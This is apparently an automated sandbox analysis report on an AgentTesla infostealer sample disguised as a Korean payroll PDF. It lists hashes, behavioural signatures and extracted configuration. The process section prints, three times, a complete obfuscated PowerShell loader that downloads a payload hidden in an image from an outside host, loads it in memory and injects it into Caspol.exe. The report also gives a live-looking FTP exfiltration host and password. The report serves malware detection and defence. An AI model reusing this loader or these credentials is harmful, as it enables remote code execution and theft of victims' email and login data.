Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
01/09/2026, 06:22
Static task
static1
Behavioral task
behavioral1
Sample
2026년 3분기 급여 구조 인상,pdf.js
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026년 3분기 급여 구조 인상,pdf.js
Resource
win11ltsc2024-20260710-en
General
- Target 2026년 3분기 급여 구조 인상,pdf.js
- Size 294KB
- Sample260901-g5amvstdqd
- SHA256 984dab51e0e1a8382041df287688039d65e8c15bba5752e0bad1c310312e6e7b
- MD5 57c18e20ddf0d2bd668713233447624f
- SHA1 eef2b3ddfd5cdd5f92dd093a71f52c4d4e0d5ec9
- SHA512 bc8bdc40f8e49270a657679a8cf4f727c2baea9cce2fb2b4fb5f2c92fd16eced4b69c2f2ebf565ee49dc38ffb0c1c1862bebdb24547c2f39d3febe90c1281191
- SSDEEP 1536:JuFbFaDAcgJaaJcsHD72JCqydVilgYBiY+BypWd:DJlC5
- TLSH T10054AB8509B2F231FDF2332ACE9D0D41CC05935664146096B6AF0656EF32AECE61E7F9
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://i.ibb.co/9mT2gxDZ/MSI-PRO.jpg
-
exe.dropper
https://i.ibb.co/9mT2gxDZ/MSI-PRO.jpg
Extracted
-
Protocol
ftp
-
Host
ftp.hivimer.com
-
Port
21
-
Username
-
Password
GCBBGi^*k?Poimt=
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.hivimer.com
-
Port
21
-
Username
-
Password
GCBBGi^*k?Poimt=
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4820 3928 powershell.exe 85 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4628 3928 powershell.exe 85 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4600 3928 powershell.exe 85 - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 4600 powershell.exe 7 4628 powershell.exe 8 4820 powershell.exe 9 4600 powershell.exe 10 4628 powershell.exe 11 4820 powershell.exe - Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Caspol.exe -
pid Process 4628 powershell.exe 4600 powershell.exe 4820 powershell.exe - Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 14 ip-api.com -
pid Process 4820 powershell.exe 4628 powershell.exe 4600 powershell.exe - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4600 set thread context of 1744 4600 powershell.exe 92 PID 4628 set thread context of 1032 4628 powershell.exe 94 PID 4820 set thread context of 3472 4820 powershell.exe 95 - Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 4820 powershell.exe 4600 powershell.exe 4628 powershell.exe 4600 powershell.exe 4820 powershell.exe 4628 powershell.exe 1744 Caspol.exe 1744 Caspol.exe 4628 powershell.exe 4628 powershell.exe 1032 Caspol.exe 1032 Caspol.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4820 powershell.exe Token: SeDebugPrivilege 4600 powershell.exe Token: SeDebugPrivilege 4628 powershell.exe Token: SeDebugPrivilege 1744 Caspol.exe Token: SeDebugPrivilege 1032 Caspol.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 4600 wrote to memory of 1744 4600 powershell.exe 92 PID 4600 wrote to memory of 1744 4600 powershell.exe 92 PID 4600 wrote to memory of 1744 4600 powershell.exe 92 PID 4600 wrote to memory of 1744 4600 powershell.exe 92 PID 4600 wrote to memory of 1744 4600 powershell.exe 92 PID 4628 wrote to memory of 2436 4628 powershell.exe 93 PID 4628 wrote to memory of 1032 4628 powershell.exe 94 PID 4628 wrote to memory of 1032 4628 powershell.exe 94 PID 4628 wrote to memory of 1032 4628 powershell.exe 94 PID 4628 wrote to memory of 1032 4628 powershell.exe 94 PID 4628 wrote to memory of 1032 4628 powershell.exe 94 PID 4820 wrote to memory of 3472 4820 powershell.exe 95 PID 4820 wrote to memory of 3472 4820 powershell.exe 95 PID 4820 wrote to memory of 3472 4820 powershell.exe 95 PID 4820 wrote to memory of 3472 4820 powershell.exe 95 PID 4820 wrote to memory of 3472 4820 powershell.exe 95 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Caspol.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\2026년 3분기 급여 구조 인상,pdf.js"1⤵PID:2336
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $aminopyridine = ''https://i.ibb.co/9mT2gxDZ/MSI-PRO.jpg''; Add-Type -AssemblyName System.Net.Http; $cookieContainer = New-Object System.Net.CookieContainer; $handler = New-Object System.Net.Http.HttpClientHandler; $handler.AllowAutoRedirect = $true; $handler.CookieContainer = $cookieContainer; $client = New-Object System.Net.Http.HttpClient($handler); $client.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $reqHead = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $aminopyridine); $resHead = $client.SendAsync($reqHead).GetAwaiter().GetResult(); $tamanhoTotal = $resHead.Content.Headers.ContentLength; if ($null -eq $tamanhoTotal) { $tamanhoTotal = 5000000; } $tamanhoBuffer = [Math]::Min($tamanhoTotal, 3000000); $inicio = [Math]::Max(0, $tamanhoTotal - $tamanhoBuffer); $fim = $tamanhoTotal - 1; $reqGet = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $aminopyridine); $reqGet.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($inicio, $fim); $resGet = $client.SendAsync($reqGet).GetAwaiter().GetResult(); [byte[]]$bytesBuffer = $resGet.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $kourbash = [System.Text.Encoding]::ASCII.GetString($bytesBuffer); } catch { $sfregazzi = (New-Object System.Net.WebClient).DownloadString($aminopyridine); $kourbash = $sfregazzi; } $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge = [string]::IndexOf($kourbash, $lacune); $pajero = $kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic = $javaone_2008_ge + $lacune.Length; $anomocarpous = $kourbash.Substring($kourbash.IndexOf($lacune) + $lacune.Length, $pajero - ($kourbash.IndexOf($lacune) + $lacune.Length)); $phassachate = $anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $isHex = ($perforati -match ''^[0-9a-fA-F]+$'') -and ($perforati.Length % 2 -eq 0); [byte[]]$hobblingly = $null; if ($isHex) { $hobblingly = for ($i = 0; $i -lt $perforati.Length; $i += 2) { [Convert]::ToByte($perforati.Substring($i, 2), 16) } } else { $cnv = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $hobblingly = $cnv.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$perforati)); } $bosta = [AppDomain]::(''CurrentDomain''); $humist = $bosta.GetType().GetMethod(''Load'', [byte[]]); $unswerving = $humist.Invoke($bosta, (,$hobblingly)); $landaulets = (''j5/Yyq7wZMhvt+CJ+xURVA3ebuNm1lsx11R2oBDkNrdDt7MqoX4Bb+pHTaak10Efxky05K61Hsxg39oYjwB5yg=='','''',''se7JYmiSJ7fn8o9zcNmyeHmLnPkIRd0C4JSoNbYu4mThYmxwZY2PjLFxPFW+iBr5'',''LtjxKpE6vb5aFL5pXzriBm+r7iUfz0JK++a0U8/jcfM='',''/sCsXc629EmPGWQUjkDUiwSMKDe5i6evW8qTz8gY86s='','''',''4i3F070s665D9IFQVo48GTxtPXdL/lQKHdgP6u9m1og='','''',''cAOVOpPyR640s0USI/SAjeDwEWD/SrSZT3gMlBCOURg='',''0N8lzzb7bDI5UxH5vYzZ6oFkAjRei/TGKA2ZUmheaw3Sb4Y2Fdml1yHli4daSyPA'',''PQtSbVS8BPxEEfaIHxtHEHQkQsye0MKiGcf+ONe+XBw='',''4UeOZtoCf2VxF/qpGCDSI4RqdYCro7QiVwkF9LqE3qQ='',''2QqrF8E4aqELjo+17XwQR3qyrF0I2uitGONALJhgLdA='','''',''u445pMIfDfrFLphL2vAG7U/+cSRc0zSgd04Y2qRNQG4='',''ELWiL2TpZFDDMDguH1R3QWvayErVrNWLk+fInk8Lzzk='','''','''',''''); try { $monometallist = ($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null, [object[]]$landaulets); } catch {} finally { if ($null -ne $client) { $client.Dispose() } }'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4820 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵PID:3472
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $aminopyridine = ''https://i.ibb.co/9mT2gxDZ/MSI-PRO.jpg''; Add-Type -AssemblyName System.Net.Http; $cookieContainer = New-Object System.Net.CookieContainer; $handler = New-Object System.Net.Http.HttpClientHandler; $handler.AllowAutoRedirect = $true; $handler.CookieContainer = $cookieContainer; $client = New-Object System.Net.Http.HttpClient($handler); $client.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $reqHead = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $aminopyridine); $resHead = $client.SendAsync($reqHead).GetAwaiter().GetResult(); $tamanhoTotal = $resHead.Content.Headers.ContentLength; if ($null -eq $tamanhoTotal) { $tamanhoTotal = 5000000; } $tamanhoBuffer = [Math]::Min($tamanhoTotal, 3000000); $inicio = [Math]::Max(0, $tamanhoTotal - $tamanhoBuffer); $fim = $tamanhoTotal - 1; $reqGet = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $aminopyridine); $reqGet.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($inicio, $fim); $resGet = $client.SendAsync($reqGet).GetAwaiter().GetResult(); [byte[]]$bytesBuffer = $resGet.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $kourbash = [System.Text.Encoding]::ASCII.GetString($bytesBuffer); } catch { $sfregazzi = (New-Object System.Net.WebClient).DownloadString($aminopyridine); $kourbash = $sfregazzi; } $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge = [string]::IndexOf($kourbash, $lacune); $pajero = $kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic = $javaone_2008_ge + $lacune.Length; $anomocarpous = $kourbash.Substring($kourbash.IndexOf($lacune) + $lacune.Length, $pajero - ($kourbash.IndexOf($lacune) + $lacune.Length)); $phassachate = $anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $isHex = ($perforati -match ''^[0-9a-fA-F]+$'') -and ($perforati.Length % 2 -eq 0); [byte[]]$hobblingly = $null; if ($isHex) { $hobblingly = for ($i = 0; $i -lt $perforati.Length; $i += 2) { [Convert]::ToByte($perforati.Substring($i, 2), 16) } } else { $cnv = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $hobblingly = $cnv.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$perforati)); } $bosta = [AppDomain]::(''CurrentDomain''); $humist = $bosta.GetType().GetMethod(''Load'', [byte[]]); $unswerving = $humist.Invoke($bosta, (,$hobblingly)); $landaulets = (''j5/Yyq7wZMhvt+CJ+xURVA3ebuNm1lsx11R2oBDkNrdDt7MqoX4Bb+pHTaak10Efxky05K61Hsxg39oYjwB5yg=='','''',''se7JYmiSJ7fn8o9zcNmyeHmLnPkIRd0C4JSoNbYu4mThYmxwZY2PjLFxPFW+iBr5'',''LtjxKpE6vb5aFL5pXzriBm+r7iUfz0JK++a0U8/jcfM='',''/sCsXc629EmPGWQUjkDUiwSMKDe5i6evW8qTz8gY86s='','''',''4i3F070s665D9IFQVo48GTxtPXdL/lQKHdgP6u9m1og='','''',''cAOVOpPyR640s0USI/SAjeDwEWD/SrSZT3gMlBCOURg='',''0N8lzzb7bDI5UxH5vYzZ6oFkAjRei/TGKA2ZUmheaw3Sb4Y2Fdml1yHli4daSyPA'',''PQtSbVS8BPxEEfaIHxtHEHQkQsye0MKiGcf+ONe+XBw='',''4UeOZtoCf2VxF/qpGCDSI4RqdYCro7QiVwkF9LqE3qQ='',''2QqrF8E4aqELjo+17XwQR3qyrF0I2uitGONALJhgLdA='','''',''u445pMIfDfrFLphL2vAG7U/+cSRc0zSgd04Y2qRNQG4='',''ELWiL2TpZFDDMDguH1R3QWvayErVrNWLk+fInk8Lzzk='','''','''',''''); try { $monometallist = ($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null, [object[]]$landaulets); } catch {} finally { if ($null -ne $client) { $client.Dispose() } }'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵PID:2436
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
PID:1032
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $aminopyridine = ''https://i.ibb.co/9mT2gxDZ/MSI-PRO.jpg''; Add-Type -AssemblyName System.Net.Http; $cookieContainer = New-Object System.Net.CookieContainer; $handler = New-Object System.Net.Http.HttpClientHandler; $handler.AllowAutoRedirect = $true; $handler.CookieContainer = $cookieContainer; $client = New-Object System.Net.Http.HttpClient($handler); $client.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $reqHead = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $aminopyridine); $resHead = $client.SendAsync($reqHead).GetAwaiter().GetResult(); $tamanhoTotal = $resHead.Content.Headers.ContentLength; if ($null -eq $tamanhoTotal) { $tamanhoTotal = 5000000; } $tamanhoBuffer = [Math]::Min($tamanhoTotal, 3000000); $inicio = [Math]::Max(0, $tamanhoTotal - $tamanhoBuffer); $fim = $tamanhoTotal - 1; $reqGet = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $aminopyridine); $reqGet.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($inicio, $fim); $resGet = $client.SendAsync($reqGet).GetAwaiter().GetResult(); [byte[]]$bytesBuffer = $resGet.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $kourbash = [System.Text.Encoding]::ASCII.GetString($bytesBuffer); } catch { $sfregazzi = (New-Object System.Net.WebClient).DownloadString($aminopyridine); $kourbash = $sfregazzi; } $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge = [string]::IndexOf($kourbash, $lacune); $pajero = $kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic = $javaone_2008_ge + $lacune.Length; $anomocarpous = $kourbash.Substring($kourbash.IndexOf($lacune) + $lacune.Length, $pajero - ($kourbash.IndexOf($lacune) + $lacune.Length)); $phassachate = $anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $isHex = ($perforati -match ''^[0-9a-fA-F]+$'') -and ($perforati.Length % 2 -eq 0); [byte[]]$hobblingly = $null; if ($isHex) { $hobblingly = for ($i = 0; $i -lt $perforati.Length; $i += 2) { [Convert]::ToByte($perforati.Substring($i, 2), 16) } } else { $cnv = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $hobblingly = $cnv.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$perforati)); } $bosta = [AppDomain]::(''CurrentDomain''); $humist = $bosta.GetType().GetMethod(''Load'', [byte[]]); $unswerving = $humist.Invoke($bosta, (,$hobblingly)); $landaulets = (''j5/Yyq7wZMhvt+CJ+xURVA3ebuNm1lsx11R2oBDkNrdDt7MqoX4Bb+pHTaak10Efxky05K61Hsxg39oYjwB5yg=='','''',''se7JYmiSJ7fn8o9zcNmyeHmLnPkIRd0C4JSoNbYu4mThYmxwZY2PjLFxPFW+iBr5'',''LtjxKpE6vb5aFL5pXzriBm+r7iUfz0JK++a0U8/jcfM='',''/sCsXc629EmPGWQUjkDUiwSMKDe5i6evW8qTz8gY86s='','''',''4i3F070s665D9IFQVo48GTxtPXdL/lQKHdgP6u9m1og='','''',''cAOVOpPyR640s0USI/SAjeDwEWD/SrSZT3gMlBCOURg='',''0N8lzzb7bDI5UxH5vYzZ6oFkAjRei/TGKA2ZUmheaw3Sb4Y2Fdml1yHli4daSyPA'',''PQtSbVS8BPxEEfaIHxtHEHQkQsye0MKiGcf+ONe+XBw='',''4UeOZtoCf2VxF/qpGCDSI4RqdYCro7QiVwkF9LqE3qQ='',''2QqrF8E4aqELjo+17XwQR3qyrF0I2uitGONALJhgLdA='','''',''u445pMIfDfrFLphL2vAG7U/+cSRc0zSgd04Y2qRNQG4='',''ELWiL2TpZFDDMDguH1R3QWvayErVrNWLk+fInk8Lzzk='','''','''',''''); try { $monometallist = ($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null, [object[]]$landaulets); } catch {} finally { if ($null -ne $client) { $client.Dispose() } }'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1744
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 723f5ae03f2b55f7614aee0837f65e259e0d2dbc8a2260b37ee7bf7acf4b7864
- MD5 c282a667e309161aba2fd08faea883a0
- SHA1 3b6dbcf80105be31cdf7e4f18f0901fb294c07bd
- SHA512 e304d4edad43e39fe6da754557ade1fd0aba8de5ffa4691753a608038ee4098087c11cb09716a634ed88c4a9d130232c7121578fb941c9a2d44578a61f2da1a3
- TLSH T16E71F0323275B1D4C9167F071E68598063BF4356FAA4AF1CB29C625EDD2601B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 172fa1ac8b8b81d7ac1c537c5afc6a259196fd68ef733f979322dc59a03a5f81
- MD5 d51a1c5f21e1619e327cde1f3976be10
- SHA1 07318cc6bcbe823eb5ef16f17ed0de02ab76a7dc
- SHA512 b5f2ab7783aabf8d811a9ea96981ffcdec9c210d009d7d316ec3eab461cddadce9104210e56861afab481d17b75c0986e6eefaf1bf21af585dc9a9ec8daced75
- TLSH T1E9219527F39CC961CC86113A40AE9C1072B683DB819ECE9F7EC4D214A16F888CB615A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 10a5b4eb8d1c4d1864861e64b99c814a94834fa1693ccf3454258c1d06bfc5d6
- MD5 60847818436d1b6dd075b595eff8028b
- SHA1 285ec09ba79cb8704a19ba9139273c8f45940079
- SHA512 fc186c5c9115ca06cc69b4cd11ccff4eb210bab037d7455bc0090141a60efb5e7e9cdc3e08d12237908b6f580c54ef0715ea9987c386f6c52b52cda8c3b4fa5d
- TLSH T12821B727F39CC921CC86113A40AE9C1072B683D7819ECE9F7EC4D204E17F888CB715A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a13llhkr.y2n.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH